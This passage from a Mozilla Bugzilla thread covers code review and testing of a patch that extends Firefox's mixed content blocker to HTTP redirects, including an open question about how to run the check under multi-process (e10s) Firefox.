Today, we have a mixed content blocker that stops these requests to go out at all - what I prefer!  So, when we indicate there were some insecure request blocked and then user allows the load with a consent click, we need to indicate mixed content (would look bad otherwise).

Hence, the test should be updated to expect "broken".  Hooray the redirects are finally fixed, yay!
Flags: needinfo?(honzab.moz)
(In reply to Honza Bambas (:mayhemer) from comment #57)
> Depends... there were times (I am glad those times are gone now, but
> depends..) we didn't want a mixed content warning for images that actually
> didn't transfer any data.  I believe this was a step back from us to allow
> cross-site tracking via image requests or similars.
> 
> Today, we have a mixed content blocker that stops these requests to go out
> at all - what I prefer!  So, when we indicate there were some insecure
> request blocked and then user allows the load with a consent click, we need
> to indicate mixed content (would look bad otherwise).
>
> Hence, the test should be updated to expect "broken".  Hooray the redirects
> are finally fixed, yay!

Yes, regardless of whether an http request returns data, an http request on an https page is considered mixed content and the security state should be set to STATE_IS_BROKEN.  In some cases, the http request may not hit the network (i.e. user has updated their hosts file), but I don't think we need to special case this anymore.  Most users will not have updated their /etc/hosts file and will see the broken security UI.  Honza, do we still need the code added in bug 455367 - https://mxr.mozilla.org/mozilla-central/source/security/manager/boot/src/nsSecureBrowserUIImpl.cpp#992.  When one day we find someone to rewrite nsSecureBrowserUIImpl, perhaps they can remove this.
Updated existing mixed content testcase.
Attachment #8502096 - Flags: review?(honzab.moz)
(In reply to Tanvi Vyas [:tanvi] from comment #58)
> (In reply to Honza Bambas (:mayhemer) from comment #57)
> > Depends... there were times (I am glad those times are gone now, but
> > depends..) we didn't want a mixed content warning for images that actually
> > didn't transfer any data.  I believe this was a step back from us to allow
> > cross-site tracking via image requests or similars.
> > 
> > Today, we have a mixed content blocker that stops these requests to go out
> > at all - what I prefer!  So, when we indicate there were some insecure
> > request blocked and then user allows the load with a consent click, we need
> > to indicate mixed content (would look bad otherwise).
> >
> > Hence, the test should be updated to expect "broken".  Hooray the redirects
> > are finally fixed, yay!
> 
> Yes, regardless of whether an http request returns data, an http request on
> an https page is considered mixed content and the security state should be
> set to STATE_IS_BROKEN.  In some cases, the http request may not hit the
> network (i.e. user has updated their hosts file), but I don't think we need
> to special case this anymore.  Most users will not have updated their
> /etc/hosts file and will see the broken security UI.  Honza, do we still
> need the code added in bug 455367 -
> https://mxr.mozilla.org/mozilla-central/source/security/manager/boot/src/
> nsSecureBrowserUIImpl.cpp#992.  When one day we find someone to rewrite
> nsSecureBrowserUIImpl, perhaps they can remove this.

Yep, I think this crap should go away.
Attachment #8502096 - Flags: review?(honzab.moz) → review+
Blocks: 947079
See https://bugzilla.mozilla.org/show_bug.cgi?id=947079#c62.  There is a bug in image caching that prevents this patch from working 100% right.
Depends on: 1082837
(In reply to Tanvi Vyas [:tanvi] from comment #61)
> See https://bugzilla.mozilla.org/show_bug.cgi?id=947079#c62.  There is a bug
> in image caching that prevents this patch from working 100% right.

Filed bug https://bugzilla.mozilla.org/show_bug.cgi?id=1082837 for this.
The test in this bug fails for e10s - https://tbpl.mozilla.org/?tree=Try&rev=ed023dee3333

This is because we do not propagate the loadingNode across parent and child - http://mxr.mozilla.org/mozilla-central/source/netwerk/protocol/http/HttpChannelChild.cpp#1150

We may want to land this bug anyway, with the test disabled in e10s and file a followup bug to find a solution for loadInfo->loadingNode in e10s.
Attachment #8499919 - Flags: review?(mozilla)
Comment on attachment 8499919 [details] [diff] [review]
mcb_redirect-10-03-14.patch

Review of attachment 8499919 [details] [diff] [review]:
-----------------------------------------------------------------

Looks good to me, please fix my nits and this is ready to go.

::: content/base/src/nsMixedContentBlocker.cpp
@@ +204,5 @@
> +NS_IMETHODIMP
> +nsMixedContentBlocker::AsyncOnChannelRedirect(nsIChannel* oldChannel,
> +                                              nsIChannel* newChannel,
> +                                              uint32_t flags,
> +                                              nsIAsyncVerifyRedirectCallback* callback)

Nit: Olli already pointed this out, please prefix arguments, e.g:
nsIChannel aOldChannel,
nsIChannel aNewChannel,
etc.

@@ +234,5 @@
> +    // in this code path. Hence, we have to return NS_OK. Once we have more
> +    // confidence that all channels have loadinfo, we can change this to
> +    // a failure. See bug 1077201.
> +    return NS_OK;
> +  }

Maybe move the check that loadInfo exists further up in the code. In such a case we can return early and do not need to query the uri of old and new channel.

@@ +241,5 @@
> +  rv = loadInfo->GetContentPolicyType(&contentPolicyType);
> +  // If we have loadInfo but no content policy type, return an error.
> +  if (NS_FAILED(rv)) {
> +    return NS_ERROR_FAILURE;
> +  }

This can be simplified, please use the C++ friendly version:
uint32_t contentPolicyType = loadInfo->GetContentPolicyType();
for an example, see:
http://mxr.mozilla.org/mozilla-central/source/netwerk/protocol/ftp/FTPChannelChild.cpp#159
for usage

@@ +256,5 @@
> +    bool isSystemPrincipal = false;
> +    isSystemPrincipal = nsContentUtils::IsSystemPrincipal(requestingPrincipal);
> +    if (isSystemPrincipal) {
> +      return NS_OK;
> +    }

Please simplify to:
if (nsContentUtils::IsSystemPrincipal(requestingPrincipal)) {
  return NS_OK;
}

@@ +268,5 @@
> +  int16_t decision = REJECT_REQUEST;
> +  rv = ShouldLoad(contentPolicyType,
> +                  newUri,
> +                  requestingLocation,
> +                  requestingContext,

Can we eliminate the temp-variable and use loadInfo->LoadingNode() as an argument instead?

@@ +275,5 @@
> +                  requestingPrincipal,
> +                  &decision);
> +  if (NS_FAILED(rv)) {
> +    return rv;
> +  }

nit: NS_ENSURE_SUCCESS(rv, rv);
Attachment #8499919 - Flags: review?(mozilla) → review+
(In reply to Tanvi Vyas [:tanvi] from comment #63)
> The test in this bug fails for e10s -
> https://tbpl.mozilla.org/?tree=Try&rev=ed023dee3333
> 
> This is because we do not propagate the loadingNode across parent and child
> -
> http://mxr.mozilla.org/mozilla-central/source/netwerk/protocol/http/
> HttpChannelChild.cpp#1150
> 
> We may want to land this bug anyway, with the test disabled in e10s and file
> a followup bug to find a solution for loadInfo->loadingNode in e10s.

In e10s, AsyncOnChannelRedirect::nsMixedContentBlocker is called on first the parent and then the child.  The call to the parent returns early because we don't have a loadingNode.  The content is blocked, but the page isn't in the correct state (no webconsole error messages, no Shield icon in the url bar, security state not accurately set, etc).  The request never goes to the child because it was blocked by the parent.  For e10s, we want to run this check in the child so that we do not have to serialize a bunch of data from child to parent, and because no network requests are being made in this code.

I see a couple of options here, but they aren't great.
1) Make it so that in e10s http://mxr.mozilla.org/mozilla-central/source/netwerk/build/nsNetCID.h#984  only runs in the child.
(But what happens to cases where we use e10s with a single process - desktop plugins? - In those cases, we'd want to run in the parent).
2) Identify when we are running in e10s, we are the parent, and a child exists.  In those cases, return early in nsMixedContentBlocker:AsynconChannelRedirect, and let the child do the mixed content checks.


mrbkap, perhaps you can advise on how I should proceed?
Flags: needinfo?(mrbkap)
re: last comment.  #2 sounds easiest, but I'm not sure of a good way to ask "are we running in e10s, we are the parent, and a child exists." Presumably there's some IPDL protocols that get instantiated only when we're running remote docshells, etc (and not just Flash or Favicons): bent or mrbkap or fabrice or sicking probably know the answer to that.  Let's try mrbkap first :)
Updated per Christoph's comments.  Carrying over r+'s
Attachment #8499919 - Attachment is obsolete: true
Attachment #8506522 - Flags: review+
Try with the test disabled for e10s looks pretty good:
https://tbpl.mozilla.org/?tree=Try&rev=529ddd4ee3ba
Blocks: 1006881
No longer depends on: 1006881
Blocks: 1084504
Disabling the test for e10s for now.  Filed a followup for the e10s work: bug 1084504.  The rest of this should land sooner than later, since it closes a big security hole in our mixed content blocker implementation.
Attachment #8507083 - Flags: review?(jduell.mcbugs)
(In reply to Tanvi Vyas [:tanvi] from comment #69)
> Created attachment 8507083 [details] [diff] [review]
> disable_mcb_redirect_test_e10s.patch
> 
> Disabling the test for e10s for now.  Filed a followup for the e10s work:
> bug 1084504.  The rest of this should land sooner than later, since it
> closes a big security hole in our mixed content blocker implementation.

Just chatted with evilpie on IRC, maybe
> XRE_GetProcessType
can be of help which lets you distinguish between content/parent. Needs exploration but probably lets us return early if executing in the parent, but doing the MCB check in the child in ::AsyncOnChannelRedirect.
Anyway, probably a good idea to land having the test disabled for e10s and explore in the follow up.
Comment on attachment 8507083 [details] [diff] [review]
disable_mcb_redirect_test_e10s.patch

Review of attachment 8507083 [details] [diff] [review]:
-----------------------------------------------------------------

Seems fine to me.  Full disclosure--i'm not a peer of /browser... But this seems minor enough.
Attachment #8507083 - Flags: review?(jduell.mcbugs) → review+
I was thinking about this the other day. Wouldn't it be enough, in the parent, to do:

nsCOMPtr<nsIParentChannel> is_ipc_channel;
NS_QueryNotificationCallbacks(cnanel, is_ipc_channel);
if (is_ipc_channel) {
  // Let the child process take care of this notification.
}
Flags: needinfo?(mrbkap) → needinfo?(jduell.mcbugs)
re: comment 74. Good idea Blake, that ought to work perfectly.  We could do that test and then return early in nsMixedContentBlocker:AsynconChannelRedirect if that's the case. Tanvi, does that sound doable?  File a new bug?
Flags: needinfo?(jduell.mcbugs) → needinfo?(tanvi)
(In reply to Jason Duell [:jduell] (needinfo? me for lower latency) from comment #75)
> re: comment 74. Good idea Blake, that ought to work perfectly.  We could do
> that test and then return early in
> nsMixedContentBlocker:AsynconChannelRedirect if that's the case. Tanvi, does
> that sound doable?  File a new bug?
Already have bug 1084504.  Will continue the discussion there :)
Flags: needinfo?(tanvi)
Product: Core → Core Graveyard
You need to log in before you can comment on or make changes to this bug.